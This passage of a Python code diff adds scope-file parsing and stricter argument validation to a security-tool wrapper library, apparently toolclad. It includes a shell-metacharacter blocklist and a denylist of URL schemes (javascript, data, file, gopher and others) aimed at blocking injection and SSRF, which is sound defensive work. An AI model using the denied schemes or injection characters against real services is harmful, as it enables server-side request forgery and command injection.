annotations + +import ipaddress +import os +import re +import sys +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, List, Mapping, Optional, Sequence, Tuple, Union + +if sys.version_info >= (3, 11): + import tomllib +else: + import tomli as tomllib + +from toolclad.hostpolicy import IPAddress, IPNetwork, parse_canonical_cidr, parse_canonical_ip + +SCOPE_FILE_ENV = "TOOLCLAD_SCOPE_FILE" + +# Argument types on which `scope_check = true` is honored. +SCOPE_CHECK_TYPES = frozenset({"scope_target", "url", "ip_address", "cidr"}) + +_SCOPE_KEYS = frozenset({"allowed_domains", "allowed_cidrs", "blocked_domains", "blocked_cidrs"}) + +# A domain rule: lowercase DNS labels, optionally behind one leading `*.`. +_DOMAIN_RULE_RE = re.compile(r"(?:\*\.)?[a-z0-9-]+(?:\.[a-z0-9-]+)*") + +NOT_FOUND_MESSAGE = ( + "scope_check is enabled but no scope/scope.toml was found (set TOOLCLAD_SCOPE_FILE)" +) + + +class ScopeError(ValueError): + """Raised when a scope file cannot be read or is malformed.""" + + +@dataclass +class ScopeDef: + """A parsed scope file. CIDR rules are stored as networks with host bits + masked off.""" + + allowed_domains: List[str] = field(default_factory=list) + allowed_cidrs: List[IPNetwork] = field(default_factory=list) + blocked_domains: List[str] = field(default_factory=list) + blocked_cidrs: List[IPNetwork] = field(default_factory=list) + source_path: str = "" + + +def _parse_domain_rules(key: str, value: Any, origin: str) -> List[str]: + if not isinstance(value, list) or not all(isinstance(v, str) for v in value): + raise ScopeError(f"scope file {origin}: 'scope.{key}' must be a list of strings") + for rule in value: + if _DOMAIN_RULE_RE.fullmatch(rule) is None: + raise ScopeError( + f"scope file {origin}: invalid domain rule '{rule}' in scope.{key} " + "(lowercase [a-z0-9.-] labels with an optional leading '*.')" + ) + return list(value) + + +def _parse_cidr_rules(key: str, value: Any, origin: str) -> List[IPNetwork]: + if not isinstance(value, list) or not all(isinstance(v, str) for v in value): + raise ScopeError(f"scope file {origin}: 'scope.{key}' must be a list of strings") + nets: List[IPNetwork] = [] + for rule in value: + parsed = parse_canonical_cidr(rule) + if parsed is None: + raise ScopeError(f"scope file {origin}: invalid CIDR '{rule}' in scope.{key}") + nets.append(ipaddress.ip_network(f"{parsed[0]}/{parsed[1]}", strict=False)) + return nets + + +def parse_scope(data: Mapping[str, Any], origin: str = "") -> ScopeDef: + """Build a :class:`ScopeDef` from parsed TOML. Unknown keys, a malformed + CIDR and a malformed domain rule each raise :class:`ScopeError`.""" + unknown = sorted(k for k in data if k != "scope") + section = data.get("scope", {}) + if not isinstance(section, dict): + raise ScopeError(f"scope file {origin}: [scope] must be a table") + unknown += sorted(f"scope.{k}" for k in section if k not in _SCOPE_KEYS) + if unknown: + raise ScopeError( + "; ".join(f"unknown key '{k}' in scope file {origin}" for k in unknown) + ) + return ScopeDef( + allowed_domains=_parse_domain_rules( + "allowed_domains", section.get("allowed_domains", []), origin + ), + allowed_cidrs=_parse_cidr_rules("allowed_cidrs", section.get("allowed_cidrs", []), origin), + blocked_domains=_parse_domain_rules( + "blocked_domains", section.get("blocked_domains", []), origin + ), + blocked_cidrs=_parse_cidr_rules("blocked_cidrs", section.get("blocked_cidrs", []), origin), + source_path=origin, + ) + + +def load_scope_file(path: Union[str, os.PathLike]) -> ScopeDef: + """Read and parse a scope file. Raises :class:`ScopeError` when it cannot + be read, is not valid TOML, or fails the rules of :func:`parse_scope`.""" + try: + with open(path, "rb") as f: + data = tomllib.load(f) + except OSError as exc: + raise ScopeError(f"cannot read scope file {path}: {exc.strerror or exc}") from exc + except tomllib.TOMLDecodeError as exc: + raise ScopeError(f"scope file {path} is not valid TOML: {exc}") from exc + return parse_scope(data, str(path)) + + +def discover_scope(manifest_dir: Optional[Union[str, os.PathLike]] = None) -> Optional[ScopeDef]: + """Find and load the scope file for a manifest in ``manifest_dir`` + (``None`` or empty: the cwd). Returns ``None`` when no file exists. + A set but unreadable ``TOOLCLAD_SCOPE_FILE`` raises :class:`ScopeError`.""" + env = os.environ.get(SCOPE_FILE_ENV) + if env: + return load_scope_file(env) + start = Path(manifest_dir) if manifest_dir else Path.cwd() + for directory in (start.resolve(), *start.resolve().parents): + candidate = directory / "scope" / "scope.toml" + if candidate.is_file(): + return load_scope_file(candidate) + return None + + +_UNSET = object() + + +def manifest_scope(manifest: Any) -> Optional[ScopeDef]: + """The scope for a loaded manifest, discovered at most once and cached on + it. Discovery runs only when some argument declares ``scope_check``; a + manifest that never asks for scope never touches the filesystem (and a + broken ``TOOLCLAD_SCOPE_FILE`` does not affect it).""" + cached = getattr(manifest, "_scope_cache", _UNSET) + if cached is not _UNSET: + return cached + from toolclad.manifest import _iter_args + + scope: Optional[ScopeDef] = None + if any(arg.scope_check for arg in _iter_args(manifest)): + source = getattr(manifest, "source_path", "") + scope = discover_scope(os.path.dirname(source) if source else None) + object.__setattr__(manifest, "_scope_cache", scope) + return scope + + +# --------------------------------------------------------------------------- +# Matchers +# --------------------------------------------------------------------------- + + +def _unwrap(ip: IPAddress) -> IPAddress: + if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped is not None: + return ip.ipv4_mapped + return ip + + +def _as_address(ip: Union[str, IPAddress]) -> Optional[IPAddress]: + return parse_canonical_ip(ip) if isinstance(ip, str) else ip + + +def _as_network(cidr: Union[str, IPNetwork]) -> Optional[IPNetwork]: + if not isinstance(cidr, str): + return cidr + parsed = parse_canonical_cidr(cidr) + if parsed is None: + return None + return ipaddress.ip_network(f"{parsed[0]}/{parsed[1]}", strict=False) + + +def ip_in_cidr(ip: Union[str, IPAddress], cidr: Union[str, IPNetwork]) -> bool: + """True when ``ip`` lies in ``cidr``. Either may be text (canonical form + only) or an ``ipaddress`` object; an IPv4-mapped IPv6 address is compared + as its IPv4 address. Unparseable input returns False.""" + addr, net = _as_address(ip), _as_network(cidr) + if addr is None or net is None: + return False + addr = _unwrap(addr) + return addr.version == net.version and addr in net + + +def cidr_within(inner: Union[str, IPNetwork], outer: Union[str, IPNetwork]) -> bool: + """True when the range ``inner`` is fully contained in ``outer``.""" + a, b = _as_network(inner), _as_network(outer) + return a is not None and b is not None and a.version == b.version and a.subnet_of(b) + + +def _cidr_overlaps(a: IPNetwork, b: IPNetwork) -> bool: + return a.version == b.version and a.overlaps(b) + + +def host_matches_rule(host: str, pattern: str) -> bool: + """Domain-rule match: exact (case-insensitive), or ``*.suffix`` for a + strict subdomain at any depth on a label boundary.""" + host, pattern = host.lower(), pattern.lower() + if pattern.startswith("*."): + return host.endswith(pattern[1:]) and len(host) > len(pattern) - 1 + return host == pattern + + +def _subject(value: str) -> Tuple[str, Union[IPAddress, IPNetwork, str]]: + ip = parse_canonical_ip(value) + if ip is not None: + return "ip", _unwrap(ip) + net = _as_network(value) + if net is not None: + return "cidr", net + return "host", value + + +def in_scope(subject: str, scope: ScopeDef) -> bool: + """True when ``subject`` (a host, IP or CIDR as text) is in scope.""" + kind, val = _subject(subject) + if kind == "host": + assert isinstance(val, str) + if any(host_matches_rule(val, r) for r in scope.blocked_domains): + return False + return any(host_matches_rule(val, r) for r in scope.allowed_domains) + if kind == "ip": + if any(ip_in_cidr(val, n) for n in scope.blocked_cidrs): # type: ignore[arg-type] + return False + return any(ip_in_cidr(val, n) for n in scope.allowed_cidrs) # type: ignore[arg-type] + if any(_cidr_overlaps(val, n) for n in scope.blocked_cidrs): # type: ignore[arg-type] + return False + return any(cidr_within(val, n) for n in scope.allowed_cidrs) # type: ignore[arg-type] + + +def check_scope(name: str, subject: str, scope: Optional[ScopeDef], display: Optional[str] = None) -> None: + """Refuse ``subject`` for argument ``name`` unless it is in ``scope``. + ``scope=None`` is the fail-closed refusal. ``display`` is the value named + in the error (the full URL for a url argument). Raises ``ValidationError``.""" + from toolclad.validator import ValidationError + + if scope is None: + raise ValidationError(f"argument '{name}' {NOT_FOUND_MESSAGE}") + if not in_scope(subject, scope): + raise ValidationError( + f"argument '{name}' target '{display if display is not None else subject}' " + "is not in scope" + ) + + +def url_host_in_scope(url: str, allowed_hosts: Sequence[str]) -> bool: + """True when ``url`` validates as a ``url`` argument and its host is in a + scope whose ``allowed_domains`` is ``allowed_hosts``.""" + from toolclad.manifest import ArgDef + from toolclad.validator import ValidationError, validate_arg_in + + scope = ScopeDef(allowed_domains=list(allowed_hosts)) + try: + validate_arg_in(ArgDef(name="url", type="url", scope_check=True), url, False, scope) + except ValidationError: + return False + return True diff --git a/python/toolclad/validator.py b/python/toolclad/validator.py index 5d2b058..5f81cb0 100644 --- a/python/toolclad/validator.py +++ b/python/toolclad/validator.py @@ -4,17 +4,30 @@ import ipaddress import re -from typing import Any, Dict, List -from urllib.parse import urlparse +from typing import TYPE_CHECKING, Any, Dict, List, Mapping, Optional, Tuple + +from toolclad.hostpolicy import ( + enforce_cidr_policy, + enforce_hostname_policy, + enforce_ip_policy, + has_punycode_label, + looks_like_ip_literal, + parse_canonical_cidr, + parse_canonical_ip, + tld_not_all_numeric, +) +from toolclad.manifest import NETWORK_TARGET_TYPES, ArgDef -from toolclad.manifest import ArgDef +if TYPE_CHECKING: + from toolclad.manifest import CustomTypeDef + from toolclad.scope import ScopeDef # Shell metacharacters that indicate injection attempts. SHELL_METACHARACTERS = set(";|&$`(){}[]<>!\n\r") # Regex for a valid hostname label. _HOSTNAME_RE = re.compile( - r"^(?!-)[A-Za-z0-9-]{1,63}(? None: """Reject values containing shell metacharacters.""" found = set(value) & SHELL_METACHARACTERS @@ -32,21 +57,91 @@ def _check_injection(value: str) -> None: ) +def _check_leading_dash(arg_def: ArgDef, value: str) -> None: + """Reject a value that an invoked binary could read as an option.""" + if value[:1] in ("-", "+") and not arg_def.allow_leading_dash: + raise ValidationError( + "must not start with '-' or '+' (set allow_leading_dash = true to permit)" + ) + + +def _check_hygiene(arg_def: ArgDef, value: str, exec_mode: bool) -> None: + """String-derived value hygiene, in the normative order. + + NUL is checked by the caller for every type. Control characters (every + C0 including tab, newline and carriage return, DEL, and the C1 range) + are rejected unconditionally. ``msf_options`` is exempt from the + whitespace rule only (the ASCII space is its ``KEY VALUE`` separator). + ``allow_whitespace`` is honored only in exec mode (a manifest that + declared ``exec`` directly, never a template compiled to exec) and even + then permits only the ASCII space U+0020; a non-breaking or ideographic + space is a homoglyph, not a separator. A ``url`` never contains + whitespace, whatever the opt-in says. + """ + for c in value: + code = ord(c) + if code < 0x20 or 0x7F <= code <= 0x9F: + raise ValidationError("must not contain control characters") + if "\\" in value and arg_def.type == "scope_target": + raise ValidationError( + f"scope_target must not contain backslash escape sequences: {value!r}" + ) + if "'" in value or '"' in value or "\\" in value: + raise ValidationError("must not contain quote or backslash characters") + if any(c.isspace() for c in value): + space_ok = arg_def.type == "msf_options" or ( + arg_def.allow_whitespace and exec_mode and arg_def.type != "url" + ) + if not space_ok or any(c.isspace() and c != " " for c in value): + raise ValidationError("must not contain whitespace") + _check_leading_dash(arg_def, value) + + +def _anchor_pattern(pattern: str) -> str: + """Anchor a manifest pattern as ``^(?:)\\Z``. + + One leading ``^`` and one trailing unescaped ``$`` are stripped first. + ``\\Z`` rather than ``$`` so a trailing newline cannot match. + """ + if pattern.startswith("^"): + pattern = pattern[1:] + if pattern.endswith("$"): + trailing_backslashes = len(pattern) - 1 - len(pattern[:-1].rstrip("\\")) + if trailing_backslashes % 2 == 0: + pattern = pattern[:-1] + return r"^(?:" + pattern + r")\Z" + + +def _matches_pattern(pattern: str, value: str) -> bool: + """Full-match ``value`` against the anchored form of ``pattern``.""" + try: + return re.match(_anchor_pattern(pattern), value) is not None + except re.error as exc: + raise ValidationError(f"Invalid pattern {pattern!r}: {exc}") + + def _validate_string(arg_def: ArgDef, value: str) -> str: _check_injection(value) if arg_def.pattern: - if not re.match(arg_def.pattern, value): + if not _matches_pattern(arg_def.pattern, value): raise ValidationError( f"Value '{value}' does not match pattern: {arg_def.pattern}" ) return value +# Strict numeric shapes, matched with fullmatch: ASCII digits only (``\d`` +# would admit other scripts' digits), no whitespace, no underscores, no hex. +_INTEGER_RE = re.compile(r"[+-]?[0-9]+") +_PORT_RE = re.compile(r"[0-9]+") +_NUMBER_RE = re.compile(r"[+-]?(?:[0-9]+\.?[0-9]*|\.[0-9]+)(?:[eE][+-]?[0-9]+)?") +_DURATION_SUFFIX_RE = re.compile(r"(?:[0-9]+h)?(?:[0-9]+m)?(?:[0-9]+s)?(?:[0-9]+ms)?") + + def _validate_integer(arg_def: ArgDef, value: str) -> str: - try: - num = int(value) - except (ValueError, TypeError): + if _INTEGER_RE.fullmatch(value) is None: raise ValidationError(f"Expected integer, got: {value!r}") + num = int(value) if arg_def.min is not None or arg_def.max is not None: lo = arg_def.min if arg_def.min is not None else num @@ -63,10 +158,9 @@ def _validate_integer(arg_def: ArgDef, value: str) -> str: def _validate_number(arg_def: ArgDef, value: str) -> str: import math - try: - num = float(value) - except (ValueError, TypeError): + if _NUMBER_RE.fullmatch(value) is None: raise ValidationError(f"Expected number, got: {value!r}") + num = float(value) if not math.isfinite(num): raise ValidationError( f"Number must be finite (no NaN or infinity), got: {value!r}" @@ -89,14 +183,22 @@ def _validate_number(arg_def: ArgDef, value: str) -> str: raise ValidationError(f"Value {num} is below minimum {bound_lo}") if num > bound_hi: raise ValidationError(f"Value {num} is above maximum {bound_hi}") - return str(num) + return _render_number(num) + + +def _render_number(num: float) -> str: + """Shortest round-trip rendering of a parsed float, with integral values + written without an exponent or a trailing ``.0`` (``1e2`` -> ``100``, + ``0.50`` -> ``0.5``), matching the other runtimes.""" + if num.is_integer(): + return str(int(num)) + return repr(num) def _validate_port(arg_def: ArgDef, value: str) -> str: - try: - port = int(value) - except (ValueError, TypeError): + if _PORT_RE.fullmatch(value) is None: raise ValidationError(f"Expected port number, got: {value!r}") + port = int(value) if port < 1 or port > 65535: raise ValidationError(f"Port {port} out of range 1-65535") return str(port) @@ -121,35 +223,36 @@ def _validate_enum(arg_def: ArgDef, value: str) -> str: return value +# --------------------------------------------------------------------------- +# Network-typed values: scope_target, url, ip_address, cidr +# +# Every literal address, CIDR range and hostname goes through +# ``toolclad.hostpolicy`` — the range table, the overlap test for ranges, the +# canonical-literal parsers, the punycode rule, the internal-name denylist, +# the embedded-literal rule and DNS resolution under ``block_internal`` — so +# the policy can be compared side by side with the other runtimes. +# --------------------------------------------------------------------------- + def _is_valid_hostname(value: str) -> bool: - """Check if value looks like a valid hostname (not IP, not CIDR).""" - return bool(_HOSTNAME_RE.match(value)) and len(value) <= 253 + """Structural hostname check: RFC 1035 labels, the 253-octet cap, and a + rightmost label that is not all digits (a real TLD never is, RFC 3696 + §2 — which also rejects dotted-decimal IPs that slipped past the literal + parser and the trailing-dot form).""" + return ( + len(value) <= 253 + and bool(_HOSTNAME_RE.match(value)) + and tld_not_all_numeric(value) + ) def _is_valid_ip(value: str) -> bool: - """Check if value is a valid IPv4 or IPv6 address.""" - try: - ipaddress.ip_address(value) - return True - except ValueError: - return False + """Check if value is a canonical IPv4 or IPv6 address.""" + return parse_canonical_ip(value) is not None def _is_valid_cidr(value: str) -> bool: - """Check if value is valid CIDR notation.""" - try: - ipaddress.ip_network(value, strict=False) - return "/" in value - except ValueError: - return False - - -def _has_punycode_label(host: str) -> bool: - """Returns True if any DNS label in `host` is an A-label (case-insensitive xn--).""" - for label in host.split("."): - if len(label) >= 4 and label[:4].lower() == "xn--": - return True - return False + """Check if value is canonical CIDR notation.""" + return parse_canonical_cidr(value) is not None # RFC 1035 §2.3.4 caps a fully-qualified domain name at 253 octets. @@ -203,33 +306,201 @@ def _validate_scope_target(arg_def: ArgDef, value: str) -> str: f"homoglyphs are rejected; gate IDN registration upstream if needed): {value!r}" ) # Defense-in-depth against IDN homoglyph bypass via punycode. - if _has_punycode_label(value): + if has_punycode_label(value): raise ValidationError( f"scope_target must not contain punycode (xn--) labels — IDN/IDNA " f"hostnames are rejected to prevent homoglyph bypass; gate IDN " f"registration upstream if needed: {value!r}" ) - if not (_is_valid_ip(value) or _is_valid_cidr(value) or _is_valid_hostname(value)): + # Canonical IP literals only (see hostpolicy.parse_canonical_ip): the + # egress policy is applied to the literal address. + ip = parse_canonical_ip(value) + if ip is not None: + enforce_ip_policy(arg_def.name, ip, arg_def.block_internal) + return value + + # CIDR ranges: the whole range is tested for overlap with each blocked + # prefix, so a supernet of a blocked range is refused too. + cidr = parse_canonical_cidr(value) + if cidr is not None: + enforce_cidr_policy(arg_def.name, cidr[0], cidr[1], arg_def.block_internal) + return value + + # A non-canonical IP-literal encoding must not slip through as a + # "hostname": a downstream resolver would expand it to an address. No + # legitimate hostname is all-numeric labels or a 0x-prefixed hex literal. + if looks_like_ip_literal(value): + raise ValidationError( + "scope_target looks like a non-canonical IP literal; use " + f"dotted-quad IPv4 or standard IPv6: {value!r}" + ) + + if not _is_valid_hostname(value): raise ValidationError( f"Invalid scope target: {value!r} " "(must be a valid IP, CIDR, or hostname)" ) + # The structural check above has already refused the trailing-dot form, + # so the name policy compares exactly what a resolver would see: the + # internal-name denylist, an embedded IP literal, then DNS resolution + # under block_internal. + enforce_hostname_policy(arg_def.name, value, arg_def.block_internal) return value +# Schemes a url argument may use when the manifest does not set `schemes`. +_DEFAULT_URL_SCHEMES = ("http", "https") + +# Never permitted, even when a manifest lists one in `schemes`: each either +# executes content, reads local files, or speaks a protocol that can be +# driven at an internal service by a crafted URL. +_DENIED_URL_SCHEMES = frozenset({ + "javascript", "data", "file", "blob", "about", "gopher", "dict", "ftp", + "ldap", "jar", "netdoc", "mailto", "ws", "wss", +}) + +# A URL port: plain decimal digits only (int() would also accept a sign, +# surrounding whitespace and non-ASCII digits), short enough to convert. +_URL_PORT_RE = re.compile(r"[0-9]{1,5}") + + +def _split_url_authority( + authority: str, +) -> Tuple[str, Optional[int], Optional[ipaddress.IPv6Address]]: + """Split a URL authority into ``(host, port, bracketed_v6)``. + + ``authority`` is everything between ``://`` and the first ``/``, ``?`` + or ``#``, with userinfo already refused. A bracketed IPv6 literal is + unwrapped and must be canonical; an unbracketed one is ambiguous with a + port and refused. A written port must be 1-65535 in plain decimal + digits. Every malformed shape raises ``ValidationError``. + """ + bracketed_v6: Optional[ipaddress.IPv6Address] = None + port_text: Optional[str] = None + if authority.startswith("["): + close = authority.find("]") + if close < 0: + raise ValidationError("URL has a malformed bracketed IPv6 host") + host = authority[1:close] + tail = authority[close + 1:] + if tail: + if not tail.startswith(":"): + raise ValidationError("URL has a malformed bracketed IPv6 host") + port_text = tail[1:] + parsed = parse_canonical_ip(host) + if not isinstance(parsed, ipaddress.IPv6Address): + raise ValidationError("URL bracketed host is not a valid IPv6 literal") + bracketed_v6 = parsed + else: + head, sep, tail = authority.rpartition(":") + if sep: + host, port_text = head, tail + else: + host = authority + + if not host: + raise ValidationError("URL has an empty host") + if bracketed_v6 is None and ":" in host: + raise ValidationError("URL IPv6 host must be enclosed in brackets") + + port: Optional[int] = None + if port_text is not None: + if _URL_PORT_RE.fullmatch(port_text) is None or not 1 <= int(port_text) <= 65535: + raise ValidationError("URL port must be 1-65535") + port = int(port_text) + return host, port, bracketed_v6 + + def _validate_url(arg_def: ArgDef, value: str) -> str: + """The ``url`` validator, in order: the string-derived hygiene has + already run (whitespace is never admitted for a url, opt-in or not); + then the shell-metacharacter blocklist, which rejects ``{`` and ``}`` + and therefore any ``{_secret:…}`` reference; then a structural parse — + ``scheme://``, the scheme allowlist, the scheme denylist, no userinfo, + host extraction with an optional port — and finally the host policy of + ``toolclad.hostpolicy``. + + This is deliberately not a WHATWG / RFC 3986 normalizer (``urlparse`` + accepts any scheme and tolerates spaces). The fetcher downstream will + parse the value again with its own rules, so anything a human reviewer + of the manifest could misread is refused here rather than normalized + away. + """ _check_injection(value) - parsed = urlparse(value) - if not parsed.scheme or not parsed.netloc: - raise ValidationError(f"Invalid URL: {value!r}") - if arg_def.schemes and parsed.scheme not in arg_def.schemes: + + # Step 2: scheme://rest. + scheme, sep, rest = value.partition("://") + if not sep: + raise ValidationError(f"Invalid URL: {value!r} (expected scheme://host)") + scheme = scheme.lower() + + # Step 3: allowlist — the manifest's `schemes` when set, else http/https. + allowed = [str(s).lower() for s in arg_def.schemes] or list(_DEFAULT_URL_SCHEMES) + if scheme not in allowed: raise ValidationError( - f"URL scheme '{parsed.scheme}' not in allowed schemes: {arg_def.schemes}" + f"URL scheme '{scheme}' is not permitted (allowed: {', '.join(allowed)})" ) + + # Step 4: explicit denial, even when a manifest lists the scheme. + if scheme in _DENIED_URL_SCHEMES: + raise ValidationError( + f"URL scheme '{scheme}' is never permitted for a url argument" + ) + + # Step 5: the authority ends at the first '/', '?' or '#'. An '@' before + # that is userinfo, which hides the real host from a reviewer. + authority = re.split(r"[/?#]", rest, maxsplit=1)[0] + if "@" in authority: + raise ValidationError("URL must not contain userinfo (user:pass@host)") + + # Step 6: host and optional port. + host, _port, bracketed_v6 = _split_url_authority(authority) + + # Step 7: host policy — the same checks as scope_target, since curl and + # wget-style fetchers are the prime SSRF vector. + if has_punycode_label(host): + raise ValidationError("URL host must not contain punycode (xn--) labels") + ip = bracketed_v6 if bracketed_v6 is not None else parse_canonical_ip(host) + if ip is not None: + enforce_ip_policy(arg_def.name, ip, arg_def.block_internal) + else: + if not host.isascii(): + raise ValidationError( + "URL host must be ASCII (IDN hostnames are rejected to prevent " + "homoglyph bypass)" + ) + if looks_like_ip_literal(host): + raise ValidationError( + "URL host looks like a non-canonical IP literal; use dotted-quad " + f"IPv4 or a hostname: {host!r}" + ) + if len(host) > _SCOPE_TARGET_MAX_LEN or any( + len(label) > 63 for label in host.split(".") + ): + raise ValidationError("URL host exceeds DNS length limits (RFC 1035 §2.3.4)") + if not _is_valid_hostname(host): + raise ValidationError( + f"URL host is not a valid hostname or IP literal: {host!r}" + ) + # Trailing dot already refused above; the name policy (internal-name + # denylist, embedded IP literal, DNS resolution under block_internal) + # sees the host exactly as the fetcher would. + enforce_hostname_policy(arg_def.name, host, arg_def.block_internal) + + # Step 8 (scope) runs in _run_validation on the host, via _url_host. return value +def _url_host(value: str) -> str: + """The host of a url value that ``_validate_url`` has already accepted + (a bracketed IPv6 literal is returned without its brackets).""" + rest = value.partition("://")[2] + authority = re.split(r"[/?#]", rest, maxsplit=1)[0] + host, _port, bracketed_v6 = _split_url_authority(authority) + return str(bracketed_v6) if bracketed_v6 is not None else host + + def _validate_path(arg_def: ArgDef, value: str) -> str: _check_injection(value) # Block absolute paths @@ -241,26 +512,31 @@ def _validate_path(arg_def: ArgDef, value: str) -> str: def _validate_ip_address(arg_def: ArgDef, value: str) -> str: - try: - ipaddress.ip_address(value) - except ValueError: + """A canonical IPv4 or IPv6 literal, under the same egress policy as + every other address-carrying type: link-local is always refused, the + rest of the non-public table under ``block_internal``.""" + ip = parse_canonical_ip(value) + if ip is None: raise ValidationError(f"Invalid IP address: {value!r}") + enforce_ip_policy(arg_def.name, ip, arg_def.block_internal) return value def _validate_cidr(arg_def: ArgDef, value: str) -> str: - try: - ipaddress.ip_network(value, strict=False) - except ValueError: - raise ValidationError(f"Invalid CIDR: {value!r}") if "/" not in value: raise ValidationError(f"CIDR notation requires '/': {value!r}") + parsed = parse_canonical_cidr(value) + if parsed is None: + raise ValidationError(f"Invalid CIDR: {value!r}") + # The whole range is tested for overlap with each blocked prefix, not + # just the base address as written. + enforce_cidr_policy(arg_def.name, parsed[0], parsed[1], arg_def.block_internal) return value def _validate_msf_options(arg_def: ArgDef, value: str) -> str: import re as _re - key_re = _re.compile(r'^[A-Z][A-Z0-9_]*$') + key_re = _re.compile(r'[A-Z][A-Z0-9_]*') # Don't use _check_injection on the whole value since ; is a valid delimiter metachar_no_semi = set("|&$`(){}[]<>!\n\r") for pair in value.split(';'): @@ -271,7 +547,7 @@ def _validate_msf_options(arg_def: ArgDef, value: str) -> str: if len(parts) != 2: raise ValidationError(f"msf_options: invalid pair '{pair}' (expected 'KEY VALUE')") key, val = parts - if not key_re.match(key): + if not key_re.fullmatch(key): raise ValidationError(f"msf_options: invalid key '{key}' (must be uppercase alphanumeric)") found = set(val) & metachar_no_semi if found: @@ -295,15 +571,11 @@ def _validate_credential_file(arg_def: ArgDef, value: str) -> str: def _validate_duration(arg_def: ArgDef, value: str) -> str: - import re as _re - # Plain integer seconds - try: - int(value) - return value - except ValueError: - pass - # Duration with suffix - if not _re.match(r'^(?:\d+h)?(?:\d+m)?(?:\d+s)?(?:\d+ms)?$', value) or value == '': + # Plain integer seconds, or h/m/s/ms components in that order; the whole + # value must match (no whitespace, trailing newline or underscores). + if value == "" or ( + _PORT_RE.fullmatch(value) is None and _DURATION_SUFFIX_RE.fullmatch(value) is None + ): raise ValidationError(f"Invalid duration: {value!r} (e.g. '30', '5m', '2h', '1h30m', '500ms')") return value @@ -312,7 +584,7 @@ def _validate_regex_match(arg_def: ArgDef, value: str) -> str: _check_injection(value) if not arg_def.pattern: raise ValidationError("regex_match type requires a 'pattern' field") - if not re.match(arg_def.pattern, value): + if not _matches_pattern(arg_def.pattern, value): raise ValidationError(f"Value {value!r} does not match required pattern: {arg_def.pattern}") return value @@ -339,12 +611,63 @@ def _validate_regex_match(arg_def: ArgDef, value: str) -> str: SUPPORTED_TYPES: List[str] = sorted(_TYPE_HANDLERS.keys()) -def validate_arg(arg_def: ArgDef, value: Any) -> str: +def _run_validation( + arg_def: ArgDef, + str_value: str, + exec_mode: bool, + scope: Optional["ScopeDef"] = None, + check_scope: bool = True, +) -> str: + """Apply hygiene, the type handler, the scope check and the numeric + leading-dash rule, in that order. ``check_scope=False`` skips the scope + step only (load-time validation of manifest defaults, before any call).""" + handler = _TYPE_HANDLERS.get(arg_def.type) + if handler is None: + raise ValidationError(f"Unknown type: {arg_def.type!r}") + if "\0" in str_value: + raise ValidationError("must not contain NUL bytes") + if arg_def.type in STRING_DERIVED_TYPES: + _check_hygiene(arg_def, str_value, exec_mode) + result = handler(arg_def, str_value) + # SCOPE: after hygiene, type parse and host/IP policy, so an in-scope + # internal target is still refused by block_internal. The subject is the + # host for a url and the value itself otherwise. + if arg_def.scope_check and check_scope: + from toolclad.scope import SCOPE_CHECK_TYPES, check_scope as _check_scope + + if arg_def.type not in SCOPE_CHECK_TYPES: + raise ValidationError( + f"argument '{arg_def.name}' scope_check is not supported for type " + f"'{arg_def.type}'" + ) + subject = _url_host(result) if arg_def.type == "url" else result + _check_scope(arg_def.name, subject, scope) + if arg_def.type in NUMERIC_TYPES: + _check_leading_dash(arg_def, result) + return result + + +def validate_arg_in( + arg_def: ArgDef, value: Any, exec_mode: bool, scope: Optional["ScopeDef"] = None +) -> str: + """Validate a value with the full rule set, including scope. + + ``scope`` is the loaded scope file (see ``toolclad.scope``). When + ``arg_def.scope_check`` is set and ``scope`` is ``None`` the value is + refused (fail closed). ``exec_mode`` as in ``validate_arg_mode``. + """ + return _run_validation(arg_def, str(value), exec_mode, scope) + + +def validate_arg_mode(arg_def: ArgDef, value: Any, exec_mode: bool) -> str: """Validate a value against an argument definition and return the cleaned value. Args: arg_def: The argument definition from the manifest. value: The raw value to validate (will be converted to str). + exec_mode: True only when the manifest declared ``command.exec`` + directly. This is the sole mode in which ``allow_whitespace`` + is honored; a template compiled to exec is still strict. Returns: The cleaned, validated string value. @@ -352,53 +675,81 @@ def validate_arg(arg_def: ArgDef, value: Any) -> str: Raises: ValidationError: If the value fails validation. """ - str_value = str(value) + return validate_arg_in(arg_def, value, exec_mode, None) - handler = _TYPE_HANDLERS.get(arg_def.type) - if handler is None: - raise ValidationError(f"Unknown type: {arg_def.type!r}") - return handler(arg_def, str_value) +def validate_arg(arg_def: ArgDef, value: Any) -> str: + """Validate a value in strict (template) mode: whitespace is always rejected. + Equivalent to ``validate_arg_mode(arg_def, value, exec_mode=False)``. + """ + return validate_arg_mode(arg_def, value, exec_mode=False) -def validate_arg_with_custom_types( + +def validate_arg_with_custom_types_mode( arg_def: ArgDef, value: Any, custom_types: Dict[str, "CustomTypeDef"], + exec_mode: bool, + scope: Optional["ScopeDef"] = None, ) -> str: """Validate using custom type definitions. If the arg type matches a custom type, create a synthetic ArgDef - from the custom type and delegate to the base type validator. + from the custom type and delegate to the base type validator. The + custom type's ``pattern`` is anchored exactly like a built-in one. + + A custom type whose base is a network target type (``scope_target``, + ``url``, ``ip_address``, ``cidr``) is refused outright: the synthetic + definition cannot carry ``block_internal``, so the author's flag would + be silently dropped. Network targets use the built-in types. """ - from toolclad.manifest import CustomTypeDef # avoid circular import # noqa: F811 - - if arg_def.type in custom_types: - custom = custom_types[arg_def.type] - handler = _TYPE_HANDLERS.get(custom.base) - if handler is None: - raise ValidationError(f"Custom type '{arg_def.type}' has invalid base type '{custom.base}'") - - # Create synthetic ArgDef with custom type constraints merged - synthetic = ArgDef( - name=arg_def.name, - position=arg_def.position, - required=arg_def.required, - type=custom.base, - description=arg_def.description, - default=arg_def.default, - allowed=custom.allowed or arg_def.allowed, - pattern=custom.pattern or arg_def.pattern, - min=custom.min if custom.min is not None else arg_def.min, - max=custom.max if custom.max is not None else arg_def.max, - min_float=custom.min_float if custom.min_float is not None else arg_def.min_float, - max_float=custom.max_float if custom.max_float is not None else arg_def.max_float, - clamp=arg_def.clamp, - sanitize=arg_def.sanitize, - schemes=arg_def.schemes, - scope_check=arg_def.scope_check, + return _run_validation(_resolve_custom(arg_def, custom_types), str(value), exec_mode, scope) + + +def _resolve_custom( + arg_def: ArgDef, custom_types: Optional[Mapping[str, "CustomTypeDef"]] +) -> ArgDef: + """The definition a value is validated against: ``arg_def`` itself for a + built-in type, else a synthetic definition on the custom type's base with + the custom constraints merged in (custom values win).""" + if not custom_types or arg_def.type not in custom_types: + return arg_def + custom = custom_types[arg_def.type] + if custom.base not in _TYPE_HANDLERS: + raise ValidationError(f"Custom type '{arg_def.type}' has invalid base type '{custom.base}'") + if custom.base in 